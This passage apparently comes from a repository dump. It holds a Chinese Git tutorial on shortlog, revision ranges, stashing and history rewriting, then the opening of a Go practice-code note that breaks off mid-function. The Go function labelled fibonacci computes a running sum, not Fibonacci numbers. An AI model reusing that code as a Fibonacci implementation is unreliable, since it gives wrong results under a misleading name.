shortlog`命令可以方便快捷的制作一份修改日志（changelog），告诉大家上次发布之后又增加了哪些特性和修复了哪些bug。实际上这个命令能够统计给定范围内的所有提交;假如你上一次发布的版本是v1.0.1，下面的命令将给出自从上次发布之后的所有提交的简介：\n\n```\n$ git shortlog --no-merges master --not v1.0.1\nChris Wanstrath (8):\n      Add support for annotated tags to Grit::Tag\n      Add packed-refs annotated tag support.\n      Add Grit::Commit#to_patch\n      Update version and History.txt\n      Remove stray `puts`\n      Make ls_tree ignore nils\n\nTom Preston-Werner (4):\n      fix dates in history\n      dynamic version method\n      Version bump to 1.0.2\n      Regenerated gemspec for version 1.0.2\n```\n\n这就是自从v1.0.1版本以来的所有提交的简介，内容按照作者分组，以便你能快速的发e-mail给他们\n\n\n\n## 修订版本（Revision）选择\n\nGit 允许你通过几种方法来指明特定的或者一定范围内的提交。了解它们并不是必需的，但是了解一下总没坏处。\n\n### 单个修订版本\n\n显然你可以使用给出的 SHA-1 值来指明一次提交，不过也有更加人性化的方法来做同样的事。本节概述了指明单个提交的诸多方法。\n\n### 简短的SHA\n\nGit 很聪明，它能够通过你提供的前几个字符来识别你想要的那次提交，只要你提供的那部分 SHA-1 不短于四个字符，并且没有歧义——也就是说，当前仓库中只有一个对象以这段 SHA-1 开头。\n\n例如，想要查看一次指定的提交，假设你运行 `git log` 命令并找到你增加了功能的那次提交：\n\n```\n$ git log\ncommit 734713bc047d87bf7eac9674765ae793478c50d3\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Fri Jan 2 18:32:33 2009 -0800\n\n    fixed refs handling, added gc auto, updated tests\n\ncommit d921970aadf03b3cf0e71becdaab3147ba71cdef\nMerge: 1c002dd... 35cfb2b...\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Thu Dec 11 15:08:43 2008 -0800\n\n    Merge commit 'phedders/rdocs'\n\ncommit 1c002dd4b536e7479fe34593e72e6c6c1819e53b\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Thu Dec 11 14:58:32 2008 -0800\n\n    added some blame and merge stuff\n```\n\n假设是 `1c002dd....` 。如果你想 `git show` 这次提交，下面的命令是等价的（假设简短的版本没有歧义）：\n\n```\n$ git show 1c002dd4b536e7479fe34593e72e6c6c1819e53b\n$ git show 1c002dd4b536e7479f\n$ git show 1c002d\n```\n\nGit 可以为你的 SHA-1 值生成出简短且唯一的缩写。如果你传递 `--abbrev-commit` 给 `git log` 命令，输出结果里就会使用简短且唯一的值；它默认使用七个字符来表示，不过必要时为了避免 SHA-1 的歧义，会增加字符数：\n\n```\n$ git log --abbrev-commit --pretty=oneline\nca82a6d changed the version number\n085bb3b removed unnecessary test code\na11bef0 first commit\n```\n\n通常在一个项目中，使用八到十个字符来避免 SHA-1 歧义已经足够了。最大的 Git 项目之一，Linux 内核，目前也只需要最长 40 个字符中的 12 个字符来保持唯一性。\n\n### 关于 SHA-1 的简短说明\n\n许多人可能会担心一个问题：在随机的偶然情况下，在他们的仓库里会出现两个具有相同 SHA-1 值的对象。那会怎么样呢？\n\n如果你真的向仓库里提交了一个跟之前的某个对象具有相同 SHA-1 值的对象，Git 将会发现之前的那个对象已经存在在 Git 数据库中，并认为它已经被写入了。如果什么时候你想再次检出那个对象时，你会总是得到先前的那个对象的数据。\n\n不过，你应该了解到，这种情况发生的概率是多么微小。SHA-1 摘要长度是 20 字节，也就是 160 位。为了保证有 50% 的概率出现一次冲突，需要 2^80 个随机哈希的对象（计算冲突机率的公式是 `p = (n(n-1)/2) * (1/2^160)`)。2^80 是 1.2 x 10^24，也就是一亿亿亿，那是地球上沙粒总数的 1200 倍。\n\n现在举例说一下怎样才能产生一次 SHA-1 冲突。如果地球上 65 亿的人类都在编程，每人每秒都在产生等价于整个 Linux 内核历史（一百万个 Git 对象）的代码，并将之提交到一个巨大的 Git 仓库里面，那将花费 5 年的时间才会产生足够的对象，使其拥有 50% 的概率产生一次 SHA-1 对象冲突。这要比你编程团队的成员同一个晚上在互不相干的意外中被狼袭击并杀死的机率还要小。\n\n### 分支引用\n\n指明一次提交的最直接的方法要求有一个指向它的分支引用。这样，你就可以在任何需要一个提交对象或者 SHA-1 值的 Git 命令中使用该分支名称了。如果你想要显示一个分支的最后一次提交的对象，例如假设 `topic1` 分支指向 `ca82a6d`，那么下面的命令是等价的：\n\n```\n$ git show ca82a6dff817ec66f44342007202690a93763949\n$ git show topic1\n```\n\n如果你想知道某个分支指向哪个特定的 SHA，或者想看任何一个例子中被简写的 SHA-1，你可以使用一个叫做 `rev-parse` 的 Git 探测工具。在第 9 章你可以看到关于探测工具的更多信息；简单来说，`rev-parse` 是为了底层操作而不是日常操作设计的。不过，有时你想看 Git 现在到底处于什么状态时，它可能会很有用。这里你可以对你的分支运执行 `rev-parse`。\n\n```\n$ git rev-parse topic1\nca82a6dff817ec66f44342007202690a93763949\n```\n\n### 引用日志里的简称\n\n在你工作的同时，Git 在后台的工作之一就是保存一份引用日志——一份记录最近几个月你的 HEAD 和分支引用的日志。\n\n你可以使用 `git reflog` 来查看引用日志：\n\n```\n$ git reflog\n734713b HEAD@{0}: commit: fixed refs handling, added gc auto, updated\nd921970 HEAD@{1}: merge phedders/rdocs: Merge made by recursive.\n1c002dd HEAD@{2}: commit: added some blame and merge stuff\n1c36188 HEAD@{3}: rebase -i (squash): updating HEAD\n95df984 HEAD@{4}: commit: # This is a combination of two commits.\n1c36188 HEAD@{5}: rebase -i (squash): updating HEAD\n7e05da5 HEAD@{6}: rebase -i (pick): updating HEAD\n```\n\n每次你的分支顶端因为某些原因被修改时，Git 就会为你将信息保存在这个临时历史记录里面。你也可以使用这份数据来指明更早的分支。如果你想查看仓库中 HEAD 在五次前的值，你可以使用引用日志的输出中的 `@{n}` 引用：\n\n```\n$ git show HEAD@{5}\n```\n\n你也可以使用这个语法来查看某个分支在一定时间前的位置。例如，想看你的 `master` 分支昨天在哪，你可以输入\n\n```\n$ git show master@{yesterday}\n```\n\n它就会显示昨天分支的顶端在哪。这项技术只对还在你引用日志里的数据有用，所以不能用来查看比几个月前还早的提交。\n\n想要看类似于 `git log` 输出格式的引用日志信息，你可以运行 `git log -g`：\n\n```\n$ git log -g master\ncommit 734713bc047d87bf7eac9674765ae793478c50d3\nReflog: master@{0} (Scott Chacon <schacon@gmail.com>)\nReflog message: commit: fixed refs handling, added gc auto, updated\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Fri Jan 2 18:32:33 2009 -0800\n\n    fixed refs handling, added gc auto, updated tests\n\ncommit d921970aadf03b3cf0e71becdaab3147ba71cdef\nReflog: master@{1} (Scott Chacon <schacon@gmail.com>)\nReflog message: merge phedders/rdocs: Merge made by recursive.\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Thu Dec 11 15:08:43 2008 -0800\n\n    Merge commit 'phedders/rdocs'\n```\n\n需要注意的是，引用日志信息只存在于本地——这是一个记录你在你自己的仓库里做过什么的日志。其他人拷贝的仓库里的引用日志不会和你的相同；而你新克隆一个仓库的时候，引用日志是空的，因为你在仓库里还没有操作。`git show HEAD@{2.months.ago}` 这条命令只有在你克隆了一个项目至少两个月时才会有用——如果你是五分钟前克隆的仓库，那么它将不会有结果返回。\n\n### 祖先引用\n\n另一种指明某次提交的常用方法是通过它的祖先。如果你在引用最后加上一个 `^`，Git 将其理解为此次提交的父提交。 假设你的工程历史是这样的：\n\n```\n$ git log --pretty=format:'%h %s' --graph\n* 734713b fixed refs handling, added gc auto, updated tests\n*   d921970 Merge commit 'phedders/rdocs'\n|\\\n| * 35cfb2b Some rdoc changes\n* | 1c002dd added some blame and merge stuff\n|/\n* 1c36188 ignore *.gem\n* 9b29157 add open3_detach to gemspec file list\n```\n\n那么，想看上一次提交，你可以使用 `HEAD^`，意思是“HEAD 的父提交”：\n\n```\n$ git show HEAD^\ncommit d921970aadf03b3cf0e71becdaab3147ba71cdef\nMerge: 1c002dd... 35cfb2b...\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Thu Dec 11 15:08:43 2008 -0800\n\n    Merge commit 'phedders/rdocs'\n```\n\n你也可以在 `^` 后添加一个数字——例如，`d921970^2` 意思是“d921970 的第二父提交”。这种语法只在合并提交时有用，因为合并提交可能有多个父提交。第一父提交是你合并时所在分支，而第二父提交是你所合并的分支：\n\n```\n$ git show d921970^\ncommit 1c002dd4b536e7479fe34593e72e6c6c1819e53b\nAuthor: Scott Chacon <schacon@gmail.com>\nDate:   Thu Dec 11 14:58:32 2008 -0800\n\n    added some blame and merge stuff\n\n$ git show d921970^2\ncommit 35cfb2b795a55793d7cc56a6cc2060b4bb732548\nAuthor: Paul Hedderly <paul+git@mjr.org>\nDate:   Wed Dec 10 22:22:03 2008 +0000\n\n    Some rdoc changes\n```\n\n另外一个指明祖先提交的方法是 `~`。这也是指向第一父提交，所以 `HEAD~` 和 `HEAD^` 是等价的。当你指定数字的时候就明显不一样了。`HEAD~2` 是指“第一父提交的第一父提交”，也就是“祖父提交”——它会根据你指定的次数检索第一父提交。例如，在上面列出的历史记录里面，`HEAD~3` 会是\n\n```\n$ git show HEAD~3\ncommit 1c3618887afb5fbcbea25b7c013f4e2114448b8d\nAuthor: Tom Preston-Werner <tom@mojombo.com>\nDate:   Fri Nov 7 13:47:59 2008 -0500\n\n    ignore *.gem\n```\n\n也可以写成 `HEAD^^^`，同样是第一父提交的第一父提交的第一父提交：\n\n```\n$ git show HEAD^^^\ncommit 1c3618887afb5fbcbea25b7c013f4e2114448b8d\nAuthor: Tom Preston-Werner <tom@mojombo.com>\nDate:   Fri Nov 7 13:47:59 2008 -0500\n\n    ignore *.gem\n```\n\n你也可以混合使用这些语法——你可以通过 `HEAD~3^2` 指明先前引用的第二父提交（假设它是一个合并提交）。\n\n### 提交范围\n\n现在你已经可以指明单次的提交，让我们来看看怎样指明一定范围的提交。这在你管理分支的时候尤显重要——如果你有很多分支，你可以指明范围来圈定一些问题的答案，比如：“这个分支上我有哪些工作还没合并到主分支的？”\n\n#### 双点\n\n最常用的指明范围的方法是双点的语法。这种语法主要是让 Git 区分出可从一个分支中获得而不能从另一个分支中获得的提交。例如，假设你有类似于图 6-1 的提交历史。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0601-tn.png)\n图 6-1. 范围选择的提交历史实例\n\n你想要查看你的试验分支上哪些没有被提交到主分支，那么你就可以使用 `master..experiment` 来让 Git 显示这些提交的日志——这句话的意思是“所有可从experiment分支中获得而不能从master分支中获得的提交”。为了使例子简单明了，我使用了图标中提交对象的字母来代替真实日志的输出，所以会显示：\n\n```\n$ git log master..experiment\nD\nC\n```\n\n另一方面，如果你想看相反的——所有在 `master` 而不在 `experiment` 中的分支——你可以交换分支的名字。`experiment..master` 显示所有可在 `master` 获得而在 `experiment` 中不能的提交：\n\n```\n$ git log experiment..master\nF\nE\n```\n\n这在你想保持 `experiment` 分支最新和预览你将合并的提交的时候特别有用。这个语法的另一种常见用途是查看你将把什么推送到远程：\n\n```\n$ git log origin/master..HEAD\n```\n\n这条命令显示任何在你当前分支上而不在远程`origin` 上的提交。如果你运行 `git push` 并且的你的当前分支正在跟踪 `origin/master`，被`git log origin/master..HEAD` 列出的提交就是将被传输到服务器上的提交。 你也可以留空语法中的一边来让 Git 来假定它是 HEAD。例如，输入 `git log origin/master..` 将得到和上面的例子一样的结果—— Git 使用 HEAD 来代替不存在的一边。\n\n#### 多点\n\n双点语法就像速记一样有用；但是你也许会想针对两个以上的分支来指明修订版本，比如查看哪些提交被包含在某些分支中的一个，但是不在你当前的分支上。Git允许你在引用前使用`^`字符或者`--not`指明你不希望提交被包含其中的分支。因此下面三个命令是等同的：\n\n```\n$ git log refA..refB\n$ git log ^refA refB\n$ git log refB --not refA\n```\n\n这样很好，因为它允许你在查询中指定多于两个的引用，而这是双点语法所做不到的。例如，如果你想查找所有从`refA`或`refB`包含的但是不被`refC`包含的提交，你可以输入下面中的一个\n\n```\n$ git log refA refB ^refC\n$ git log refA refB --not refC\n```\n\n这建立了一个非常强大的修订版本查询系统，应该可以帮助你解决分支里包含了什么这个问题。\n\n#### 三点\n\n最后一种主要的范围选择语法是三点语法，这个可以指定被两个引用中的一个包含但又不被两者同时包含的分支。回过头来看一下图6-1里所列的提交历史的例子。 如果你想查看`master`或者`experiment`中包含的但不是两者共有的引用，你可以运行\n\n```\n$ git log master...experiment\nF\nE\nD\nC\n```\n\n这个再次给出你普通的`log`输出但是只显示那四次提交的信息，按照传统的提交日期排列。\n\n这种情形下，`log`命令的一个常用参数是`--left-right`，它会显示每个提交到底处于哪一侧的分支。这使得数据更加有用。\n\n```\n$ git log --left-right master...experiment\n< F\n< E\n> D\n> C\n```\n\n有了以上工具，让Git知道你要察看哪些提交就容易得多了。\n\n\n\n\n\n## 储藏（Stashing）\n\n经常有这样的事情发生，当你正在进行项目中某一部分的工作，里面的东西处于一个比较杂乱的状态，而你想转到其他分支上进行一些工作。问题是，你不想提交进行了一半的工作，否则以后你无法回到这个工作点。解决这个问题的办法就是`git stash`命令。\n\n“‘储藏”“可以获取你工作目录的中间状态——也就是你修改过的被追踪的文件和暂存的变更——并将它保存到一个未完结变更的堆栈中，随时可以重新应用。\n\n### 储藏你的工作\n\n为了演示这一功能，你可以进入你的项目，在一些文件上进行工作，有可能还暂存其中一个变更。如果你运行 `git status`，你可以看到你的中间状态：\n\n```\n$ git status\n# On branch master\n# Changes to be committed:\n#   (use \"git reset HEAD <file>...\" to unstage)\n#\n#      modified:   index.html\n#\n# Changes not staged for commit:\n#   (use \"git add <file>...\" to update what will be committed)\n#\n#      modified:   lib/simplegit.rb\n#\n```\n\n现在你想切换分支，但是你还不想提交你正在进行中的工作；所以你储藏这些变更。为了往堆栈推送一个新的储藏，只要运行 `git stash`：\n\n```\n$ git stash\nSaved working directory and index state \\\n  \"WIP on master: 049d078 added the index file\"\nHEAD is now at 049d078 added the index file\n(To restore them type \"git stash apply\")\n```\n\n你的工作目录就干净了：\n\n```\n$ git status\n# On branch master\nnothing to commit, working directory clean\n```\n\n这时，你可以方便地切换到其他分支工作；你的变更都保存在栈上。要查看现有的储藏，你可以使用 `git stash list`：\n\n```\n$ git stash list\nstash@{0}: WIP on master: 049d078 added the index file\nstash@{1}: WIP on master: c264051 Revert \"added file_size\"\nstash@{2}: WIP on master: 21d80a5 added number to log\n```\n\n在这个案例中，之前已经进行了两次储藏，所以你可以访问到三个不同的储藏。你可以重新应用你刚刚实施的储藏，所采用的命令就是之前在原始的 stash 命令的帮助输出里提示的：`git stash apply`。如果你想应用更早的储藏，你可以通过名字指定它，像这样：`git stash apply stash@{2}`。如果你不指明，Git 默认使用最近的储藏并尝试应用它：\n\n```\n$ git stash apply\n# On branch master\n# Changes not staged for commit:\n#   (use \"git add <file>...\" to update what will be committed)\n#\n#      modified:   index.html\n#      modified:   lib/simplegit.rb\n#\n```\n\n你可以看到 Git 重新修改了你所储藏的那些当时尚未提交的文件。在这个案例里，你尝试应用储藏的工作目录是干净的，并且属于同一分支；但是一个干净的工作目录和应用到相同的分支上并不是应用储藏的必要条件。你可以在其中一个分支上保留一份储藏，随后切换到另外一个分支，再重新应用这些变更。在工作目录里包含已修改和未提交的文件时，你也可以应用储藏——Git 会给出归并冲突如果有任何变更无法干净地被应用。\n\n对文件的变更被重新应用，但是被暂存的文件没有重新被暂存。想那样的话，你必须在运行 `git stash apply` 命令时带上一个 `--index` 的选项来告诉命令重新应用被暂存的变更。如果你是这么做的，你应该已经回到你原来的位置：\n\n```\n$ git stash apply --index\n# On branch master\n# Changes to be committed:\n#   (use \"git reset HEAD <file>...\" to unstage)\n#\n#      modified:   index.html\n#\n# Changes not staged for commit:\n#   (use \"git add <file>...\" to update what will be committed)\n#\n#      modified:   lib/simplegit.rb\n#\n```\n\napply 选项只尝试应用储藏的工作——储藏的内容仍然在栈上。要移除它，你可以运行 `git stash drop`，加上你希望移除的储藏的名字：\n\n```\n$ git stash list\nstash@{0}: WIP on master: 049d078 added the index file\nstash@{1}: WIP on master: c264051 Revert \"added file_size\"\nstash@{2}: WIP on master: 21d80a5 added number to log\n$ git stash drop stash@{0}\nDropped stash@{0} (364e91f3f268f0900bc3ee613f9f733e82aaed43)\n```\n\n你也可以运行 `git stash pop` 来重新应用储藏，同时立刻将其从堆栈中移走。\n\n### 取消储藏(Un-applying a Stash)\n\n在某些情况下，你可能想应用储藏的修改，在进行了一些其他的修改后，又要取消之前所应用储藏的修改。Git没有提供类似于 `stash unapply` 的命令，但是可以通过取消该储藏的补丁达到同样的效果：\n\n```\n$ git stash show -p stash@{0} | git apply -R\n```\n\n同样的，如果你沒有指定具体的某个储藏，Git 会选择最近的储藏：\n\n```\n$ git stash show -p | git apply -R\n```\n\n你可能会想要新建一个別名，在你的 Git 里增加一个 `stash-unapply` 命令，这样更有效率。例如：\n\n```\n$ git config --global alias.stash-unapply '!git stash show -p | git apply -R'\n$ git stash apply\n$ #... work work work\n$ git stash-unapply\n```\n\n### 从储藏中创建分支\n\n如果你储藏了一些工作，暂时不去理会，然后继续在你储藏工作的分支上工作，你在重新应用工作时可能会碰到一些问题。如果尝试应用的变更是针对一个你那之后修改过的文件，你会碰到一个归并冲突并且必须去化解它。如果你想用更方便的方法来重新检验你储藏的变更，你可以运行 `git stash branch`，这会创建一个新的分支，检出你储藏工作时的所处的提交，重新应用你的工作，如果成功，将会丢弃储藏。\n\n```\n$ git stash branch testchanges\nSwitched to a new branch \"testchanges\"\n# On branch testchanges\n# Changes to be committed:\n#   (use \"git reset HEAD <file>...\" to unstage)\n#\n#      modified:   index.html\n#\n# Changes not staged for commit:\n#   (use \"git add <file>...\" to update what will be committed)\n#\n#      modified:   lib/simplegit.rb\n#\nDropped refs/stash@{0} (f0dfc4d5dc332d1cee34a634182e168c4efc3359)\n```\n\n这是一个很棒的捷径来恢复储藏的工作然后在新的分支上继续当时的工作。\n\n\n\n## 重写历史\n\n很多时候，在 Git 上工作的时候，你也许会由于某种原因想要修订你的提交历史。Git 的一个卓越之处就是它允许你在最后可能的时刻再作决定。你可以在你即将提交暂存区时决定什么文件归入哪一次提交，你可以使用 stash 命令来决定你暂时搁置的工作，你可以重写已经发生的提交以使它们看起来是另外一种样子。这个包括改变提交的次序、改变说明或者修改提交中包含的文件，将提交归并、拆分或者完全删除——这一切在你尚未开始将你的工作和别人共享前都是可以的。\n\n在这一节中，你会学到如何完成这些很有用的任务以使你的提交历史在你将其共享给别人之前变成你想要的样子。\n\n### 改变最近一次提交\n\n改变最近一次提交也许是最常见的重写历史的行为。对于你的最近一次提交，你经常想做两件基本事情：改变提交说明，或者改变你刚刚通过增加，改变，删除而记录的快照。\n\n如果你只想修改最近一次提交说明，这非常简单：\n\n```\n$ git commit --amend\n```\n\n这会把你带入文本编辑器，里面包含了你最近一次提交说明，供你修改。当你保存并退出编辑器，这个编辑器会写入一个新的提交，里面包含了那个说明，并且让它成为你的新的最近一次提交。\n\n如果你完成提交后又想修改被提交的快照，增加或者修改其中的文件，可能因为你最初提交时，忘了添加一个新建的文件，这个过程基本上一样。你通过修改文件然后对其运行`git add`或对一个已被记录的文件运行`git rm`，随后的`git commit --amend`会获取你当前的暂存区并将它作为新提交对应的快照。\n\n使用这项技术的时候你必须小心，因为修正会改变提交的SHA-1值。这个很像是一次非常小的rebase——不要在你最近一次提交被推送后还去修正它。\n\n### 修改多个提交说明\n\n要修改历史中更早的提交，你必须采用更复杂的工具。Git没有一个修改历史的工具，但是你可以使用rebase工具来衍合一系列的提交到它们原来所在的HEAD上而不是移到新的上。依靠这个交互式的rebase工具，你就可以停留在每一次提交后，如果你想修改或改变说明、增加文件或任何其他事情。你可以通过给`git rebase`增加`-i`选项来以交互方式地运行rebase。你必须通过告诉命令衍合到哪次提交，来指明你需要重写的提交的回溯深度。\n\n例如，你想修改最近三次的提交说明，或者其中任意一次，你必须给`git rebase -i`提供一个参数，指明你想要修改的提交的父提交，例如`HEAD~2`或者`HEAD~3`。可能记住`~3`更加容易，因为你想修改最近三次提交；但是请记住你事实上所指的是四次提交之前，即你想修改的提交的父提交。\n\n```\n$ git rebase -i HEAD~3\n```\n\n再次提醒这是一个衍合命令——`HEAD~3..HEAD`范围内的每一次提交都会被重写，无论你是否修改说明。不要涵盖你已经推送到中心服务器的提交——这么做会使其他开发者产生混乱，因为你提供了同样变更的不同版本。\n\n运行这个命令会为你的文本编辑器提供一个提交列表，看起来像下面这样\n\n```\npick f7f3f6d changed my name a bit\npick 310154e updated README formatting and added blame\npick a5f4a0d added cat-file\n\n# Rebase 710f0f8..a5f4a0d onto 710f0f8\n#\n# Commands:\n#  p, pick = use commit\n#  e, edit = use commit, but stop for amending\n#  s, squash = use commit, but meld into previous commit\n#\n# If you remove a line here THAT COMMIT WILL BE LOST.\n# However, if you remove everything, the rebase will be aborted.\n#\n```\n\n很重要的一点是你得注意这些提交的顺序与你通常通过`log`命令看到的是相反的。如果你运行`log`，你会看到下面这样的结果：\n\n```\n$ git log --pretty=format:\"%h %s\" HEAD~3..HEAD\na5f4a0d added cat-file\n310154e updated README formatting and added blame\nf7f3f6d changed my name a bit\n```\n\n请注意这里的倒序。交互式的rebase给了你一个即将运行的脚本。它会从你在命令行上指明的提交开始(`HEAD~3`)然后自上至下重播每次提交里引入的变更。它将最早的列在顶上而不是最近的，因为这是第一个需要重播的。\n\n你需要修改这个脚本来让它停留在你想修改的变更上。要做到这一点，你只要将你想修改的每一次提交前面的pick改为edit。例如，只想修改第三次提交说明的话，你就像下面这样修改文件：\n\n```\nedit f7f3f6d changed my name a bit\npick 310154e updated README formatting and added blame\npick a5f4a0d added cat-file\n```\n\n当你保存并退出编辑器，Git会倒回至列表中的最后一次提交，然后把你送到命令行中，同时显示以下信息：\n\n```\n$ git rebase -i HEAD~3\nStopped at 7482e0d... updated the gemspec to hopefully work better\nYou can amend the commit now, with\n\n       git commit --amend\n\nOnce you’re satisfied with your changes, run\n\n       git rebase --continue\n```\n\n这些指示很明确地告诉了你该干什么。输入\n\n```\n$ git commit --amend\n```\n\n修改提交说明，退出编辑器。然后，运行\n\n```\n$ git rebase --continue\n```\n\n这个命令会自动应用其他两次提交，你就完成任务了。如果你将更多行的 pick 改为 edit ，你就能对你想修改的提交重复这些步骤。Git每次都会停下，让你修正提交，完成后继续运行。\n\n### 重排提交\n\n你也可以使用交互式的衍合来彻底重排或删除提交。如果你想删除\"added cat-file\"这个提交并且修改其他两次提交引入的顺序，你将rebase脚本从这个\n\n```\npick f7f3f6d changed my name a bit\npick 310154e updated README formatting and added blame\npick a5f4a0d added cat-file\n```\n\n改为这个：\n\n```\npick 310154e updated README formatting and added blame\npick f7f3f6d changed my name a bit\n```\n\n当你保存并退出编辑器，Git 将分支倒回至这些提交的父提交，应用`310154e`，然后`f7f3f6d`，接着停止。你有效地修改了这些提交的顺序并且彻底删除了\"added cat-file\"这次提交。\n\n### 压制(Squashing)提交\n\n交互式的衍合工具还可以将一系列提交压制为单一提交。脚本在 rebase 的信息里放了一些有用的指示：\n\n```\n#\n# Commands:\n#  p, pick = use commit\n#  e, edit = use commit, but stop for amending\n#  s, squash = use commit, but meld into previous commit\n#\n# If you remove a line here THAT COMMIT WILL BE LOST.\n# However, if you remove everything, the rebase will be aborted.\n#\n```\n\n如果不用\"pick\"或者\"edit\"，而是指定\"squash\"，Git 会同时应用那个变更和它之前的变更并将提交说明归并。因此，如果你想将这三个提交合并为单一提交，你可以将脚本修改成这样：\n\n```\npick f7f3f6d changed my name a bit\nsquash 310154e updated README formatting and added blame\nsquash a5f4a0d added cat-file\n```\n\n当你保存并退出编辑器，Git 会应用全部三次变更然后将你送回编辑器来归并三次提交说明。\n\n```\n# This is a combination of 3 commits.\n# The first commit's message is:\nchanged my name a bit\n\n# This is the 2nd commit message:\n\nupdated README formatting and added blame\n\n# This is the 3rd commit message:\n\nadded cat-file\n```\n\n当你保存之后，你就拥有了一个包含前三次提交的全部变更的单一提交。\n\n### 拆分提交\n\n拆分提交就是撤销一次提交，然后多次部分地暂存或提交直到结束。例如，假设你想将三次提交中的中间一次拆分。将\"updated README formatting and added blame\"拆分成两次提交：第一次为\"updated README formatting\"，第二次为\"added blame\"。你可以在`rebase -i`脚本中修改你想拆分的提交前的指令为\"edit\"：\n\n```\npick f7f3f6d changed my name a bit\nedit 310154e updated README formatting and added blame\npick a5f4a0d added cat-file\n```\n\n然后，这个脚本就将你带入命令行，你重置那次提交，提取被重置的变更，从中创建多次提交。当你保存并退出编辑器，Git 倒回到列表中第一次提交的父提交，应用第一次提交（`f7f3f6d`），应用第二次提交（`310154e`），然后将你带到控制台。那里你可以用`git reset HEAD^`对那次提交进行一次混合的重置，这将撤销那次提交并且将修改的文件撤回。此时你可以暂存并提交文件，直到你拥有多次提交，结束后，运行`git rebase --continue`。\n\n```\n$ git reset HEAD^\n$ git add README\n$ git commit -m 'updated README formatting'\n$ git add lib/simplegit.rb\n$ git commit -m 'added blame'\n$ git rebase --continue\n```\n\nGit在脚本中应用了最后一次提交（`a5f4a0d`），你的历史看起来就像这样了：\n\n```\n$ git log -4 --pretty=format:\"%h %s\"\n1c002dd added cat-file\n9b29157 added blame\n35cfb2b updated README formatting\nf3cc40e changed my name a bit\n```\n\n再次提醒，这会修改你列表中的提交的 SHA 值，所以请确保这个列表里不包含你已经推送到共享仓库的提交。\n\n### 核弹级选项: filter-branch\n\n如果你想用脚本的方式修改大量的提交，还有一个重写历史的选项可以用——例如，全局性地修改电子邮件地址或者将一个文件从所有提交中删除。这个命令是`filter-branch`，这个会大面积地修改你的历史，所以你很有可能不该去用它，除非你的项目尚未公开，没有其他人在你准备修改的提交的基础上工作。尽管如此，这个可以非常有用。你会学习一些常见用法，借此对它的能力有所认识。\n\n#### 从所有提交中删除一个文件\n\n这个经常发生。有些人不经思考使用`git add .`，意外地提交了一个巨大的二进制文件，你想将它从所有地方删除。也许你不小心提交了一个包含密码的文件，而你想让你的项目开源。`filter-branch`大概会是你用来清理整个历史的工具。要从整个历史中删除一个名叫password.txt的文件，你可以在`filter-branch`上使用`--tree-filter`选项：\n\n```\n$ git filter-branch --tree-filter 'rm -f passwords.txt' HEAD\nRewrite 6b9b3cf04e7c5686a9cb838c3f36a8cb6a0fc2bd (21/21)\nRef 'refs/heads/master' was rewritten\n```\n\n`--tree-filter`选项会在每次检出项目时先执行指定的命令然后重新提交结果。在这个例子中，你会在所有快照中删除一个名叫 password.txt 的文件，无论它是否存在。如果你想删除所有不小心提交上去的编辑器备份文件，你可以运行类似`git filter-branch --tree-filter \"find * -type f -name '*~' -delete\" HEAD`的命令。\n\n你可以观察到 Git 重写目录树并且提交，然后将分支指针移到末尾。一个比较好的办法是在一个测试分支上做这些然后在你确定产物真的是你所要的之后，再 hard-reset 你的主分支。要在你所有的分支上运行`filter-branch`的话，你可以传递一个`--all`给命令。\n\n#### 将一个子目录设置为新的根目录\n\n假设你完成了从另外一个代码控制系统的导入工作，得到了一些没有意义的子目录（trunk, tags等等）。如果你想让`trunk`子目录成为每一次提交的新的项目根目录，`filter-branch`也可以帮你做到：\n\n```\n$ git filter-branch --subdirectory-filter trunk HEAD\nRewrite 856f0bf61e41a27326cdae8f09fe708d679f596f (12/12)\nRef 'refs/heads/master' was rewritten\n```\n\n现在你的项目根目录就是`trunk`子目录了。Git 会自动地删除不对这个子目录产生影响的提交。\n\n#### 全局性地更换电子邮件地址\n\n另一个常见的案例是你在开始时忘了运行`git config`来设置你的姓名和电子邮件地址，也许你想开源一个项目，把你所有的工作电子邮件地址修改为个人地址。无论哪种情况你都可以用`filter-branch`来更换多次提交里的电子邮件地址。你必须小心一些，只改变属于你的电子邮件地址，所以你使用`--commit-filter`：\n\n```\n$ git filter-branch --commit-filter '\n        if [ \"$GIT_AUTHOR_EMAIL\" = \"schacon@localhost\" ];\n        then\n                GIT_AUTHOR_NAME=\"Scott Chacon\";\n                GIT_AUTHOR_EMAIL=\"schacon@example.com\";\n                git commit-tree \"$@\";\n        else\n                git commit-tree \"$@\";\n        fi' HEAD\n```\n\n这个会遍历并重写所有提交使之拥有你的新地址。因为提交里包含了它们的父提交的SHA-1值，这个命令会修改你的历史中的所有提交，而不仅仅是包含了匹配的电子邮件地址的那些。\n\n\n\n![GUI](https://ws2.sinaimg.cn/large/006tNc79ly1fjvkktt7bsj30jg0o4aax.jpg)\n\n\n\n![](https://ws2.sinaimg.cn/large/006tNc79ly1fjvkktt7bsj30jg0o4aax.jpg)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Go/Go的练习代码.md",
    "content": "# 平时练习Go的代码\n\n1.go实现递归：\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n\tvar result = fibonacci(10)\n\tfmt.Printf(\"fibonacci(%d) is: %d\\n\", 10, result)\n\n}\n\nfunc fibonacci(n int) (res int) {\n\tif n <= 0 {\n\t\tres = 0\n\t}else {\n\t\tres = n + fibonacci(n-1)\n\t}\n\treturn\n}\n```\n\n\n2.go实现回调\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main()  {\n\tcallback(1,Add)\n}\n\nfunc Add(a,b int)  {\n\tfmt.Printf(\"The sum of %d and %d is: %d\\n\", a, b, a+b)\n}\n\nfunc callback(y int,f func(int,int))  {\n\tf(y,2)\n}\n```\n\n3.函数调用\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n\tvar f = Adder2()\n\tfmt.Print(f(1), \" - \")\n\tfmt.Print(f(20), \" - \")\n\tfmt.Print(f(300))\n}\n\nfunc Adder2() func(int) int {\n\tvar x int\n\treturn func(delta int) int {\n\t\tx += delta\n\t\treturn x\n\t}\n}\n```\n\n\n4.把函数付给变量\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main() 